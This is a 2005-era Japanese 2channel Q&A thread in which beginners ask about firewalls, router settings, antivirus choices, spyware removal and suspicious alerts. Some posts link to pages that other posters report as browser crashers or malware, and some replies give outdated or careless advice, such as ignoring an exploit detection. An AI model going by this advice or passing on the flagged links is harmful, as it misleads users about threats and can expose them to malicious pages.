Ｗｉｎ２０００Ｓｅｒｖｅｒを使ってますが、ＵＮＩＸのｌａｓｔコマンドみたいに
ログイン履歴を参照するにはどうしたらいいのですか。

プロバイダーからレンタルされたADSLモデムにルーター機能がついてるみたいなんですが
PFWにアタックされたような形跡が残ってないので、ルーターでブロックされてると思っていいのでしょうか？

>>420

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　だね。PFWまで到達してないんだよ。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

けど、細かく言うと、ルーター単体機の方が機能は上だろうね。
物にもよると思うけど。これからのPFWはアウトバウンド監視能力が
以前にも増して重要になるだろうね。Injection、Patching、Stealth等にも
対応できてないと駄目だろうね。

>>418
どうもありがとうございます！
TaskLoggerで調べましたところ、
hptskmgr.exe,C:\Program Files\HP\hpcoretech\comp\hptskmgr.exe
これっぽいです。hpのプリンター関連みたいで；
いったいこれは何をしているものなんでしょうか。

>>421
勉強になりました
どうもでした

ルーター（バッファローBBR-４HG）使用しさらにPFWとしてZoneAlarm使用してます。
ルーターのセキュリティレベル中または高にしておくとShieldsUP!!で1056 ports全てstealthになりますが、
スピード測定テストすると非常に遅くなります。
一方でルーターのセキュリティレベルを低にしておくとShieldsUP!!で1056 portsのほとんどがclosedで、
stealthは数箇所だけになります。
スピード重視でいきたいのですが、Zone Alarmを信じてルーターのセキュリティレベル低でも可でしょうか？

ルーターのセキュリティレベルを低にしておけば速度は倍以上でます。

職場の上司のところに、吠えメールが来ました。

封筒形のアイコンをクリックすると、爆発するように開いて、
赤い大きな文字で誹謗文が書かれていました。

スクロールすると、メールが消えてしまいました。爆発するように。
ちなみに、差出人は特定できないようにブロックされていました。

本当に、ハリポタの吠えメールのようでした。
爆発したように見えたので、PCへの負荷も心配です。

こういうメール、どうやったら保存できるか教えてください。
あと、受信拒否する方法と、相手のメルアドが特定できるかどうかも。

よろしくお願いします。

>>425
ルータを変えるに１票

>>425
どうせ、ZAのファイアーウォールのログに何もないんだろうから、「低」でいいと思うよ。

ノートンを使っているんですけど、さっきウイルス・スキャンをしたら
Bloodhound.Exploit.6　ってのが出てきました。
検疫したけど修復はできず、オンラインのウイルス辞典を調べても
乗ってませんでした。
こういう場合は潔くシマンテック社に提出したほうがいいのでしょうか。

>>429
無視して結構

>>430
レスありがとうございます。

おみくじ！

あれ？

>>427
お金がないのでもう少しこのルーター（バッファローBBR-４HG）使用したいです。
>>428
ZAのログビューアみると、レベル中の警告（種類ファイアウォール）が多数記録されてるんですが、
見方がよくわかりません。
プログラムは半分くらいsvchost.exeで、
発信元および送信先のIPアドレスはすべて192.168.11.までが共通しています。
これって心配しなくていいのでしょうか？

>>434
それポートスキャンされてる証拠じゃん
すでに半分くらい進入されてる予感

>>434
ルータ設定の設定にもよる
WAN→LAN方向で送信元IPがプライベートアドレスなパケットを弾いている
という前提なら問題ないのでは？
パソコンは192.168.11.xxx/24のネットワーク上にいるんだよね

>>416 ｳｲﾆｰは使ったことないのですが…
なんとか解決方はないものでしょうか?

トロイの総合スレみたいなのは無いんでしょうか？
過去にはあったみたいですが・・・

ウィルス対策ソフトを何にしたらよいのかわからなくて「avast！」
を使っています。これで今までウィルスに感染したことがありませ
ん。スパイウェアに関しても、spybotやad-aware、spywarebluster
などを使用しています。
でもやっぱり有料のソフトにした方がいいのですか？ノートンとか
ウィルスバスターとか・・・。

質問です。
LANはずしているノートの様子を見ているのですが
何も触っていないのにスクリーンセーバー→デスクトップ画面に戻る→スクリーンセーバー→デスクトップ画面に戻る。

裏で何か動いてるのでしょうか？

>>439
avast！とバスターは性能が同じくらいだから気にしなくとも良い。
大体、ウイルスを6割強ガードしてくれる。
6割強じゃ不安なら他のちゃんとしたのを選ぶしかない。

NOD32、カスペルスキー、ノートンなら8割強のウイルスをガードしてくれる。
値段はそれなりだ。特にノートンは高価で重いので敬遠されがちだ。

>>439
確実にかかってないと言い切れる？

>>437
大切なデータだけをバックアップして、パソコンを出荷時の状態へ復旧する。
（方法は各パソコンのマニュアルを参照）
>>438
検索したが、ない。
>>439
FWを入れておく。OSなどは常に最新の状態にしておく。
IEを使っているなら、常に「高」。気軽に「はい」とか「OK」とかクリックしない。

つ　最強のＰＣセキュリティーコンボ（フリー限定）
　　 http://pc8.2ch.net/test/read.cgi/sec/1118675325/
>>440
とりあえずプロセス確認。google検索。

＞avast！とバスターは性能が同じくらいだから気にしなくとも良い。
│
Ｊ

たぶん、これみて書いたんだと思うよ。

・2005年8月に実施。ウイルスのサンプル数は178988。（DOSウイルス・Windows以外のOSのウイルスを除く）

Kaspersky Anti-Virus Personal Pro 5.0.372 - 99,9%
Norton Anti-Virus 2005 11.0.11.4 - 98,8%
NOD32 Anti-Virus 2.51.8 - 97,4%
BitDefender Pro 8.0.200 - 96,6%
McAfee VirusScan 10.0.21 - 95,8%
AntiVir Pro 6.31.00.03 - 93,0%
Trend Micro Internet Security 2005 12.1.1034 - 86,6%
Avast! Pro 4.6.691 - 84,4%
AVG Pro 7.0.338 - 83,3%
Sophos Anti-Virus 5.0.5 - 78,4%
AV-comparatives.orgのComparatives→August 2005参照

>>443
レスサンクス

http://cowscorpion.com/tasklist/index.html
を色々見ているんですが同じ名前に偽装しているプロセスはどうやったら見分けるのでしょう？
svchost.exeなどたくさんあるのですがどれが異常なのかなと

ＸＰです
ノートン(パソ常駐)とシマンテック(オンライン)でスキャンしてみたんですがウイルスは検出されませんでした
がかといって絶対にウイルスにかかっていないとはいえないですよね？
他にしておけばいい無料のスキャンってありますか？

>>446
すべてのスクリーンセーバーで再現できるのか？
ドライバかなんかの不具合かもな・・・

貧乏ゆすりでは？

>>448
XPデフォルトのスクリーンセーバーでやっていたのですが
とりあえずAvast!スクリーンセーバーに変えてやってみましたがやはり切れます。
スクリーンセーバが切れると同時にタスクバーのavast!の表示がくるくる回っているのでやはり何かが動いているのかな？

>>449
ノートでマウスつけてないです。
少し揺らしてみましたがスクリーンセーバーは切れませんね・・

↑すみません446ですたorz

>>450
じゃあ、avastの仕業じゃまいか？（avast使ったことないから、何とも言えないけど）
avast終了させたら直るんじゃない？

>>435
>それポートスキャンされてる証拠じゃん
ええっ！そうなんですか？
もう少し具体的に証拠とは何か教えていただけませんか？
>>436
ルーターの設定はデフォルトです。
ルーターのアドレスは192.168.11.1なのですが、
今までZoneAlarmにFW任せっぱなしで、
不正アクセスに関しては問題なかったと思ってましたが（と思ってるだけ？）
どうしておけばいいんでしょうか？

>>452
いえ
もう一台ほぼ同じソフト構成のノートがあるんですが
そっちは勝手にスクリーンセーバーが切れたりしないんですよね・・

プロセス見ても何がなにやら・・

>>453
どうもこうも、ルーターでアドレス変換して下ろして来ているパケットはあんたにしか判断出来ないでしょ
ローカルIPアドレスが送信元になっているのなら、発信元を探り当てるしかないでしょうよ

他スレで返答がなかったのでここに来ました。

アダルトサイトで海外無修正をゲットしたいのですが
SpywareBlaster　Spybot　ウイルスバスター（最新版にアップデート）搭載で挑みたいのですが
これでは不十分でしょうか？

以前、期限切れ一年くらいの某2流アンチウイルスソフトだけで
突撃しまくったところ、トロイなど何十個ものウイルスが
バスターオンラインスキャンで見つかりましたorz
ＰＣも重く、最悪でした。

で今回はそれなりの防備をしているつもりですが、どうでしょう？

ご自由に

>>456
心配ならOSをWindows以外にしとけばええんでない？
それだけで危険度はかなり下がると思うが。

>>455
ルーターの設定でLAN側IPアドレス:192.168.11.1
DHCPサーバ機能設定し割り当てIPアドレスが192.168.11.2から16台という設定です。
ZoneAlarmのログに残っているSource IPとDestination IPは全てこの、
192.168.11.1...と192.168.11.2...のアドレスです。
素人なりに考えるとルーターとPCのやりとりが記録されているだけで安全と考えたいのですが。
如何でしょうか？それにしても何故RatingがMediumなのか？
ちなみにルーターにはPCを1台のみ接続してます。

> 期限切れ一年くらい

そのソフトもアンタに二流呼ばわりされたくはなかったろう（ｗ

>>454
そうか・・・
ウィルスを疑っているのなら
ttp://www.vintage-solutions.com/Japanese/Antivirus/Super/index.html
avastと競合しないし、インストールもしない。駆除できないけど、検出力は高い。

avastをクリーンインストールして再インストールしてみたり最悪の場合OSの再インストールかな
もう少し詳しい環境を書くと、このスレに知っている人がいるかもしれないよ。

>>456
バスターを使ってた感想としてはさすがに日本国内のウイルスには強くて対応も早いんだけど
海外サイトにはめっきり弱いねえ。

レスありがとうございます。

>>458
お薦めのブラウザってあります？Operaとか？

>>460
でもマイナーなソフトだったんで…

>>462
海外にもトレンドは支社とかあって世界的な企業ではないのですか？

自分の会社はPCが10台前後のオフィスでADSLを1回線引いてあるのですが、
ブロードバンドルーターではなくモデムにCiscoのファイアウォールがつながっており、
Windows2000ServerのPCサーバーがファイルサーバーとDHCPサーバーを兼ねています。
外部に公開しているPCはなく、VPN等も利用していないのですが、
ルーターではなくPCにIPを割り振らせる・ファイアウォールを利用することの利点というのはどのようなものがあるのでしょうか？
よろしくお願いします。

>>463
まぁ検出率はあまりよくないよ
ただ普通に使うには全く問題ない

まあ割れサイトとかアングラとかさえ行かなきゃ無問題なんだけどね。
ちょっとあぶないところ覗いたら一発よ。

＞割れサイト

って何でしょうか？

>>467
warezとかワレズでぐぐれ。ソフトの違法コピー置いてたり違法使用の方法を書いてるとこ。

>>468
ありがとうございます。

>>450
> XPデフォルトのスクリーンセーバーでやっていたのですが
> とりあえずAvast!スクリーンセーバーに変えてやってみましたがやはり切れます。
> スクリーンセーバが切れると同時にタスクバーのavast!の表示がくるくる回っているのでやはり何かが動いているのかな？

avastのスクリーンセーバータスクの設定を見直す

> ノートン(パソ常駐)

ノートン駆除してからavast入れないと問題出るお

さっきパソの電源落とそうと｢電源を切る｣選んだらｳｲﾝﾄﾞｳ開いて
｢ｳｲﾝﾄﾞｳｽﾃｰｼｮﾝが○○のため初期化に失敗しました｣(○○はなんて表示してあったか忘れてしまいました)って出たんだけど
これなんでしょうか?
おろおろしてるうちに電源切れてしまったのですが
ほっといていいものなのかな?

何度か終了と起動をしてみれば？
それで何もなければ大丈夫でない？

>>471
http://www.google.com/search?hl=ja&ie=Shift-JIS&oe=Shift-JIS&q=%83E%83B%83%93%83h%83E%83X%83e%81%5B%83V%83%87%83%93+%8F%89%8A%FA%89%BB+%8E%B8%94s
ここ手がかりにしてみては？使用パソコンやOSによって対処法が変わってくる。

すみませんが、助けてください。PCをネットを繋いで一週間位の初心者ですが、
ウィルス対策ソフトが数分に一回に下記のような内容が表示されるのですが、どうすればいいですか

攻撃を遮断しました
DCOM Exploit attack
LSASS Exploit (SXP) attack

>>474
ウィルス対策ソフトは？
ファイアウォールは？
OSとサービスパックは？　なんですか？

攻撃を遮断しました ってことはガードがしっかりしてるってこった。

無料のスパイウェア＆アドウェア対策ソフトで日本語に対応していて
一番初心者にとって使いやすいものはなんですか？この条件にどうしても
当てはまるものがなければ英語でもかまわないので教えてください。

そりゃ御三家に決まってる。日本語パッチもググれば手に入る。

>>474
PCをネットに繋いで一週間くらいで、よく２ちゃんねるにたどり着いた。すごいねヾ(*´∀｀*)ﾉｷｬｯｷｬ

>>477
ad-awareとspybotは有名。

>>477
pestpatrol２００５も日本語化されてる

皆様。ありがとうございます。
とりあえずファイアーフォールの設定で今のところでなくなりましたが
まだまだ怖いです。
ちなみにノートンとかはウイルスだけですか？スパイウェアにも対応しているのですか？
現在購入サービス期間で使用できるのですが・・・
あと４７９、４７７はメモしておきます
でも４７８の御三家は何ですか？（長文失礼）

>>481
本当にやばい奴のみ対応

靴板を見てて、

http://blog.livedoor.jp/parumo_zaeega/eca973d0.jpg

を踏んでしまったのですが、靴とは全く関係ない画像だったので、
ウイルスやブラクラじゃなかったかどうか気になって不安な気持ち
になっています・・。踏んでも特に問題ありませんでしょうか？

みなさんありがとうございます。
御三家はSpybot Search&Destroy　CWShredder　Ad-awareの3つですね。
とりあえずAd-awareをインストールして使ってみたところ同じところに96個も
見つかったので全部削除しました。これでしばらくは大丈夫だと思います。
どうもありがとうございました。

>>483
鑑定は鑑定スレ池。「勇気がなくて見られない画像解説スレ」などのスレが
他の板にある。↓とか。
勇気がなくて踏めない人のための鑑定ｽﾚPart3
http://pc8.2ch.net/test/read.cgi/hack/1122897283/

蓮コラとは懐かしいな。

>>485
スレ違いすみませんでした。早速リンク先で質問して
みました。アドバイスありがとうございます。

>>486
PCには無害でしょうか？ぐぐってもよく分かりませんでした・・。

>>479
俺は一週間もかからなかったぞｗ

2ちゃん見たくてPC買った奴が連れにいるな・・。

新作買うならバスターとマカフィーどっちがイイ？

初心者ならおまかせのバスターを。
そうでないならマカフィーを。
個人的にオススメなのがカスペとNOD32。ベクターから\4200。

>>491
サンクス、購入の参考にします

>>491
マカフィーも初心者に優しいだろ。

バスターは体験版を使ったことあるけどマカフィーは初めてなのよ。
カスペとかオンライン購入のは手を出したこと無い。初心者なんで
マカフィーって安いけどどうなの？

spybotの使いかたサイトに「セーフモードで再スキャン」ってあるんですが、
やり方が載ってません。どうやればできますか？

軽い。FWも簡単だしねぇ。

がんばれマカフィー Part.21 / ガンバレMcAfee
ttp://pc8.2ch.net/test/read.cgi/sec/1129898668/

>>495 そのままのとおり｡
セーフモードでスキャンすればいいだけですよ

何かマカフィーって叩かれてるな…
IE使わないとどうのって…
だけど普通にIE使ってる身だからどうでもいいような気も…
どうなんだろ…、なんにも考えずに入れるならバスターなのかな。

>>494 どのソフトにもいいとこ悪いとこはあるので
叩こうと思えばいくらでも叩ける｡
俺は今ﾏｶﾌｨｰ使ってるよ｡

>>499
そうですね、色々と長所短所があるらしいのでしばらくROMって
勉強します。

>>500 うん｡それで自分にあった
ソフトみつけてください
ではおやすみ

質問ですけど、ドメイン毎にIEのセキュリティ設定を反映することは可能ですか？

みんな3大メジャーばかり使わないで足元を見よう。
マイナーにもいい選手はいるから。

　　　　　　　　　　　　　　　　　　　　　＿　＿＿＿
　　　　／￣￣￣￣＼,,　　　　　 ／−､ −､　　　 ＼
　　　/＿＿＿＿＿　　ヽ　　　 /　 |　 ・|・ 　| ､　　　 ＼
　　　| ─ ､ ─ ､ ヽ |　　|　　 / ／　`-●−′　＼ 　　 ヽ
　　　|　　・|・　　|─ |___/　　 |/ ──　|　 ── 　 ヽ　 　|
　　　|` - c`─ ′　 6 l　　　|.　──　|　 ──　 　 |　　 |
.　 　ヽ (＿＿＿_　　,-′　　 |　──　|　 ── 　 　 | 　 l
　　 　 ヽ ＿＿＿ ／ヽ　　 　 ヽ （＿＿|＿＿＿＿　 /　/
　　　 　／ |／＼／ l ＾ヽ　　　 ＼　　　　　　　　 　 /　/
　　　 　|　|　　　　 　|　　|　　　　 l━━（ｔ）━━━━┥

USBフラッシュメモリのデータのセキュリティのために、PCにインストールせずに
フラッシュメモリ上で機能するzipパス圧縮解凍ソフト（または準ずるもの）ありませんか？

>>505
そんなのXPの標準の解凍機能で出来るわ
一次ファイルに解凍するからエクスプローラーで表示されたのをそのままコピーしやがれ

情報セキュリティアドミニストレータ試験に合格したら
中堅企業程度のセキュリティ管理者になれますか？

>>507
全然なれねえ
買ってもらえるのは実務経験のキャリアだけ
なりたかったら、通常入社して配置換えを希望しろ

>>507
( ﾟ∀ﾟ)ｱﾊﾊ八八ﾉヽﾉヽﾉヽﾉ ＼ / ＼/ ＼

>>507
もしも、一般企業でそんな門が用意されるとしたら、
司法試験のような難易度が要求される。
合格率5〜6％。

http://japan.cnet.com/news/tech/story/0,2000047674,20090087,00.htm
ソニーBMGが自社のCDに「rootkit」と呼ばれるツールを隠し、
違法コピー防止機能のハッキングを防ごうとしていたことが発覚した

＞このコピー対策ソフトウェアを開発した英国のFirst 4 Internetという会社は、
＞偽装メカニズムがリスクでないこと、そして開発チームが確実を期すために
＞Symantecなどの大手ウイルス対策企業と密接に協力したことを明らかにした。
＞この偽装機能は、これまでの同様の製品では容易だったコンテンツ保護機能のハッキングを、
＞不可能とまではいかなくても困難にすることを狙ったものだと同社は説明している

やっぱスパイウェアを入れるソフト企業とウイルスソフト会社って裏でお金のやり取りやってたんだな。
ウイルスより性質が悪いスパイウェアを正当化している企業は死ね。

脳味噌大丈夫？

GK並か当人並の分かりやすさだなこのコピペ房は

Microsoft Windows XP Professiomal x64 Edition対応したインターネットセキュリティソフトはありますか？

F-Secureだったかと　>>514

>>514
Avast!です

シマンテック　AntiVirus Corporate Edition 10.0

わかりました。ありがとうございますm(__)m

小規模なオフィス（PCは10台前後）の各PCにアンチウイルスソフトを導入したいのですが、
各PCのログを監視できたり、ウイルスが検出された際に管理者にも通知されるような
ソフトはあるのでしょうか？

マカフィー　VirusScan Enterprise8.0i

>>519
WindowsUpdate

トレンドのVirusWallでいいんじゃね？

高いよ

ZoneAlarmをアンインストして、Windowsのファイヤーウォールだけにしてみた。

シマンテックのセキュリティチェックで全部安全となった。

これって、ｎｙとかしなければ問題ないってこと？

WinXP Pro　+SP.2　IE6

誰か分かる方、解答お願いします。
ＩＰやホストが相手にバレた場合、
相手はこちらの情報をどこまで掴めてしまうのでしょうか？
個人情報や、いつどこのＨＰを見たとかもバレてしまうのでしょうか・・・。

ちなみに私は初心者で、セキュリティについては全く何もしてないです。

>>525
http://www.ugtop.com/spill.shtml

ここを踏んでください。ウィルスサイトじゃないので、安心してください。
って書くと、怪しまれるか・・・。

>>525
あんまマルチはやらんほうがいいよ

ttp://pc8.2ch.net/test/read.cgi/internet/1129221533/750

訂正します。
ドメイン毎にIEのセキュリティ設定を切り替えることは可能ですか？
お願いします。

>>528
当たり目えじゃねえかよ　セキュリティゾーン

当たり目えだったじゃねえかよ　アリガゾーン
9xでプロセス管理するソフトは ドウダゾーン

おまえたち寒いお

おれが悪いな。
> 9xでプロセス管理するソフトは ドウダゾーン
を知りたいけども

ヤフオクなどで売ってるセキュリティーソフトの延長ツールって、ホントに使えるんですか？

>>533 嘘を嘘と(ry

IDからプロバイダまで割り出すことは可能ですか？

割り出してどうするのかね？

>>534

???

　　　　　　　　　　　　　　　　　　　　　＿　＿＿＿
　　　　／￣￣￣￣＼,,　　　　　 ／−､ −､　　　 ＼
　　　/＿＿＿＿＿　　ヽ　　　 /　 |　 ・|・ 　| ､　　　 ＼
　　　| ─ ､ ─ ､ ヽ |　　|　　 / ／　`-●−′　＼ 　　 ヽ
　　　|　　・|・　　|─ |___/　　 |/ ──　|　 ── 　 ヽ　 　|
　　　|` - c`─ ′　 6 l　　　|.　──　|　 ──　 　 |　　 |
.　 　ヽ (＿＿＿_　　,-′　　 |　──　|　 ── 　 　 | 　 l
　　 　 ヽ ＿＿＿ ／ヽ　　 　 ヽ （＿＿|＿＿＿＿　 /　/
　　　 　／ |／＼／ l ＾ヽ　　　 ＼　　　　　　　　 　 /　/
　　　 　|　|　　　　 　|　　|　　　　 l━━（ｔ）━━━━┥
>>518

9xのプロセス管理・・

Windows xpなんだけどOSを再インスコしてアンチウイルスソフト
を入れようとする前に、英文で警告文が出てきました。どんな英文か
忘れたけど内容的に「アラ−ト　レジストリに変なのが入りました。
fix.comにいって正常なレジストリエディタに復元してください」みたいな
感じだった。なにか対策方法はありますか

>>502
ttp://www.sysinternals.com/Utilities/ProcessExplorer.html
おせーてやる

>>540
罠なのでそれには従わないように　行くと思いっきり感染させられる。
無防備なパソを感染させようとする罠。英文はスパイウェアの物なので、
インストール前に駆除しておく。

>>502
ttp://www.vector.co.jp/soft/win95/util/se039727.html
もう一個

http://pc8.2ch.net/test/read.cgi/sec/1130916428/59　92 93
バカの意図は分かりやすい　このスレに先に晒してしまったのは失敗だったがな（ｗ

>>541>>543
うほっ

>>542
サンクス。じゃあその段階ではウイルスではなくスパイウェアなのね。

>>545
IEに拘るならしょうがないけど他のブラウザ（Sleipnir等）ならできんじゃね。

>>546
その書き方だとFWを起動せずアンチウイルスソフトをうｐだてしてんじゃね。

ならもうPCにウィルスがいるんじゃ。

スパイウェアまで行かずにマルウェアくらいかもしれないが、スパイウェアやウイルス感染を誘導
してる時点で、かなり悪質な類いだろう。

NOD32の体験版を入れていたのに、
Trojan-Dropper.Win32.Agent.jpというのに感染した。

あとで他の人にKaspersky、McAfee、Symantec、ClamAVが
とっくに対応済みだと指摘されて口惜しかったよ。('A`)
http://www.viruslist.com/en/viruses/encyclopedia?virusid=79420

ttp://www.geocities.com/bonbon_suzuki/blog/2005_10.html 　
上記のサイトにアクセスしてしまったのですが…いわゆるブラクラで接続したら、「〜に接続中…」
というDOSプロプトが出たのですが…。これって大丈夫でしょうか・・・？

PCにはウイルスバスターいれていてﾌｧｲﾔｰｳｫｰﾙも入れてるし、さっきスパイウェアで検索しても
なにも出てこなかったし…。エロい人教えてください。

　　　　　　　　　　　　　　　　　　　　　＿　＿＿＿
　　　　／￣￣￣￣＼,,　　　　　 ／−､ −､　　　 ＼
　　　/＿＿＿＿＿　　ヽ　　　 /　 |　 ・|・ 　| ､　　　 ＼
　　　| ─ ､ ─ ､ ヽ |　　|　　 / ／　`-●−′　＼ 　　 ヽ
　　　|　　・|・　　|─ |___/　　 |/ ──　|　 ── 　 ヽ　 　|
　　　|` - c`─ ′　 6 l　　　|.　──　|　 ──　 　 |　　 |
.　 　ヽ (＿＿＿_　　,-′　　 |　──　|　 ── 　 　 | 　 l
　　 　 ヽ ＿＿＿ ／ヽ　　 　 ヽ （＿＿|＿＿＿＿　 /　/
　　　 　／ |／＼／ l ＾ヽ　　　 ＼　　　　　　　　 　 /　/
　　　 　|　|　　　　 　|　　|　　　　 l━━（ｔ）━━━━┥

>>551
注意！ループタグを発見！ (2)
危険！FDDアタックを発見！(1)
危険！無限ループを発見！ (1)
危険！Telnetストームを発見！ (2)
危険！ソースストームを発見！ (1)
まじブラクラサイトのようだな。99%大丈夫。

気になるならOS再ｲﾝｽｺ

>>551
ブラクラは基本的にウイルスを含んでない場合が多い、それがどうかは知らないが
ウイルスの警告が表示されてないなら大丈夫　何もしなくていい

聞いてるポイントが違うと思うけど
DOSプロンプトは>>553の　＞危険！Telnetストームを発見！ (2)
でしょ。環境によっては作動するけどほとんどは関係ないのでは。
止められないと非常に厄介だけど。

>>556
>>551さんじゃないですけど
それが作動してるかどこで調べるんですか？

ブラクラチェッカーの表示だよ　それは

>>550
canon-sol.jpにｺﾞﾙｧしてみたら？

>>540
ルータ設定してファイアウォール入れれば出なくなる。
まだ出る場合は http://homepage2.nifty.com/winfaq/w2k/network.html#1473
アンチウィルスとファイアウォールは(DL版なら)再インスコ前にダウンロードして
ネットに繋ぐ前に入れろ。

>>557
管理ツールと、そのプロンプトの続き見れば分かる

どうも。
管理ツールは出来たんですがプロンプトの意味が分かりません。
とりあえずググッてみます。

初めまして。初心者ながら、ふと疑問に思ったことがあるので質問させて頂きます。
　ウイルス対策ソフトで、アプリケーションが改変されていないかを確かめるために、md5による
チェックをするような事があると思います。
　その際に、ウイルス対策ソフトはmd5の値をどこに保存しておくのでしょうか。
もし、ウイルスがファイルに感染する際に、保存してあるmd5のリストも改変することが
出来てしまうとすると、アプリケーションが改変されていないかを確かめる術が無くなって
しまう気がします。
稚拙な質問ですが、どうぞよろしくお願い致します。

>>561
>>551の2行目

>>562
暗号化して隠蔽してレジストリに書かれてるらしい

>>564
　回答ありがとうございます。
なるほど、レジストリに書かれることが多いのですね。
　技術的には難しいと思いますが、論理的には、ウイルス対策ソフトから
暗号化の部分を抽出し、解読することができたとしたら、やはり前述のことは出来てしまうのでしょうか。
　また、隠蔽とはどういった方法で実装されているのかが気になります。
質問だらけで申し訳ないのですが、よろしくお願いいたします。

詳細は秘密だけどシマンテックのリリースに断片的に書かれてたような
（2004以降）

もちろん論理的に解読はできる。
隠蔽というか、それとはわからないキー名で保存されてるんだろう。
キー名作る時にインスト時のシリアルも混ぜればPCごとに異なる名前が作れるし。
(それをやってるか、そこまでやらずに守っているのかは知らないが)

>>562
それを知ってどうしようというのだ、おまいは？

>>566
　情報ありがとうございます！ネットでいろいろ探しては見ているのですが
そういった情報が見つからないもので・・・。
>>567
　なるほど、論理的にはできてしまうのですね。
確かにレジストリを大量に作っておいて、その中に混ぜこんでおけば、
論理的にはできても、実現するのは難しそうですね。
　納得しました。ありがとうございました！

>大量に作っておいて
って・・・　　　おまいなぁ(ry

ここで聞くのが適当かあれだけど、今いつものport 445やら1434やらその他
ポートスキャンに混じって、不特定多数から結構な勢いで18722叩かれまくって
んだけど、何かその手のウィルスでも出たんすかね。

誰かがDDNSで使ってたアドレスでも掴んじまったのかなぁ。

なんかそういう報告スレ昔見たんだけどな。どこだか忘れたorz

Winnyが接続しに来たんでは

ＺＩＰパスワード解凍について。
パスワード入力欄に、コピーした文字を張る方法はないものでしょうか

パスワードが日本語なのでコピーして張ろうとしているのですが、
パスワード入力欄に、貼れません。昔はできたのですが。

ＭＥでＷＩＮＤＯＷＳＵＰＤＡＴＥは今月経験があります

>>574
Ctrl+V

>>571
俺も時々あるよ
叩かれるポートはその時によって変わる
プロトコルもTCPの時もあればUDPの時もある
ログ見るかぎりじゃルータ越えしてくる不審なパケットは無いのでそのまま放置

ちょっと質問させてください。
今ＨＤＤ総買い替えするにあたり、セキュリティソフトをウイルスバスターにするかノートンにするかで迷っています。
現在のＰＣはノートン２００５を入れています。
ＰＣ関係に詳しい知り合いに相談してみたところ、
ウイルスバスターの方が軽いそうなのですが、その方は「ノートンはシステムのレジストリを弄りすぎるからバスター入れてる」と言われました。
バスターもレジストリは弄るそうですが、その方は以前、バスターを２００４から２００５にアップしようとしたらエラーが出て、よくよく調べてみると、以前入れていたノートンやマカフィーが弄ったレジストリが痕跡として見つかり、それによってエラーが出たそうなのです。
そのノートンやらがいつのバージョンかはわからないそうなのですが、それ以来バスターを使っているらしいのです。
新しいＨＤＤにＯＳを入れなおすにあたり、少し気になってしまいました。
最近のノートンもレジストリを弄りすぎる傾向があるのでしょうか。

>>577
それだけ解っているのなら、セキュリティーソフトを入れる前に
バックアップしておけばいいでしょ？

バスターはファイヤーウォールの性能は大した事はない

ソニー、シマンテックと共謀しウィルス散布、F-Secure社員が感染し発覚
http://news19.2ch.net/test/read.cgi/news/1130905571/

コピペ厨は負け犬　昨日もやって自爆してるのに懲りない

お聞きします。
ウィルスやスパイウェアがIEのアドオンとしてインストールされてしまっていると、
その.dllは情報を発信しても、組み込まれているIEが情報を発信しているとファイアーウォールは検知するんですよね。
だとすると、ウィルス対策ソフトが常駐シールドで検知しない限り、
パソコン内部の情報を垂れ流していてもわかりませんよね？

>>9にある無料アンチウイルスの中でどれが一番性能いいですかね？

むずかしいこと考えるねキミは・・・・

>>583
ファッキンウイルスジェノサイダー（FVZ）

>>583
当然AVG。

>>582

　 ∧＿∧
　（　´∀｀）　　／￣￣￣￣￣
　（　　　　）　＜　そう、何らかのセキュシステムが感知するようになってないとダメ。
　｜ ｜ ｜　　＼＿＿＿＿＿
　（_＿）___）

だから最近ではハッシュを用いてるんだよ。各種アップデートなどが行われたら、
当然再計算されるよ。漏れの環境では、HooK、Injection、Patching、Stealth等も
考慮されてるよ。

>>585
FVZってほんとウクライナ産なのにantinyの検出力いいよな

ヤフーチャットやってたら、その部屋にいた変な奴に俺のIPアドレスを暴露されたんですけど
これって俺のPCに未知のウイルスとかスパムが感染してるってことでしょうか？
脅しとかじゃなくて、本当に今使ってるIPアドレスが書き込まれたんです
なんかすごく怖いんですけど、、、誰か助けてください


一応
シンマテックとバスターのオンラインスキャン、セーフモードでアンチドートでスキャン
結果は感染ゼロ
Spybotで検索した結果もゼロでした

>>589
192.168.0.1

>>589
127.0.0.1

>>590
>>591
おばか！

>>447をお願いします

junk store\STUPIDATOM.exe
64bind\WindowAboutWarn.exe
link bold once\Ace Grid.exe
という脅威のあるアドウェアーﾉｰﾄﾝで検出したのですが
消せません。どうすればいいか教えてください
spybot ad-aware等でもスキャンしました。
ＩＥでアダルトｻｲﾄの表示が別リンクで表示されます
ＷＩＮｘｐ　ｓｐ２
フォルダー削除もできませんでした

>>594
思いっきり、マルチポストだね・・・・・・

まじめにわからないのです
_l￣l○

>>596
分からなくても、マルチポストだね・・・・・・

マルチは相手にしない

omaerazenninnsine

強削で消せたからお前らに
用はもうねーよ
しね

>>600は>>594ではないに１票

質問します。
ttp://etc3.2ch.net/test/read.cgi/entrance/1130759487/686
でウィルス判定が出ていて、物好きのため、踏んでみたところ、
AntiVirがウィルス検知しましたので、deleteして、ブラウザを閉じました。

その後BitDefender Freeでスキャンしたところ、ウィルスは発見できませんでした。
OS等が最新であれば「感染なし」ということでしょうか？

環境はOS:ME(最新の状態),ブラウザ(firefox1.07,java on.java script on,
データのキャッシュ0KBという設定です)

長文のところ、すみませんが、よろしくお願いいたします。

688 名前：名無しさん？[] 投稿日：2005/11/03(木) 14:17:44 ID:YgqOLK56
>>686
追記
ブラウザで開くと海外のエロサイトに飛ぶ。
ウィルス入り。VBS:Malware
PC有害。


ってかウイルスなのか？

>>603
はい。ウィルスです。一応ぐぐってみました。

「マルウェア」は、malicious software (悪意のあるソフトウェア) の短縮された語で、
単一のコンピュータ、サーバー、コンピュータネットワークにウイルス、またはスパイウェアなどの
被害を起こすように設計されたソフトウェア全般を示す言葉として一般的に使用されます。

>>601
それ俺だｗ
スレ３つにｺﾋﾟﾍﾟして
教えてもらおうかとしたけど
ﾃﾝﾌﾟﾚみたら書いてあったので
ベクターから強削ｄｌして消せた(*ﾉｪﾉ)

> ってかウイルスなのか？
もしかして、誤検出という意味でしょうか…

>>589
http://homepage2.nifty.com/intel-404/yahoo/ip.html
>>593
http://www.pandasoftware.com/activescan/jp/activescan_principal.htm

ノートン2005を使っている初心者です。
質問なのですが、今さっき「侵入を検出して遮断されました」と
出たのですが、ログビューアを見ると

侵入Xmas scan
　　　　　　　
　　侵入を検出して遮断されました

と出ています。左のマークを見てみると一時停止みたいなマークが出ています。
大丈夫なのでしょうか？

>>608
ノートンならノートンスレで。遮断なら問題なし。

>>609
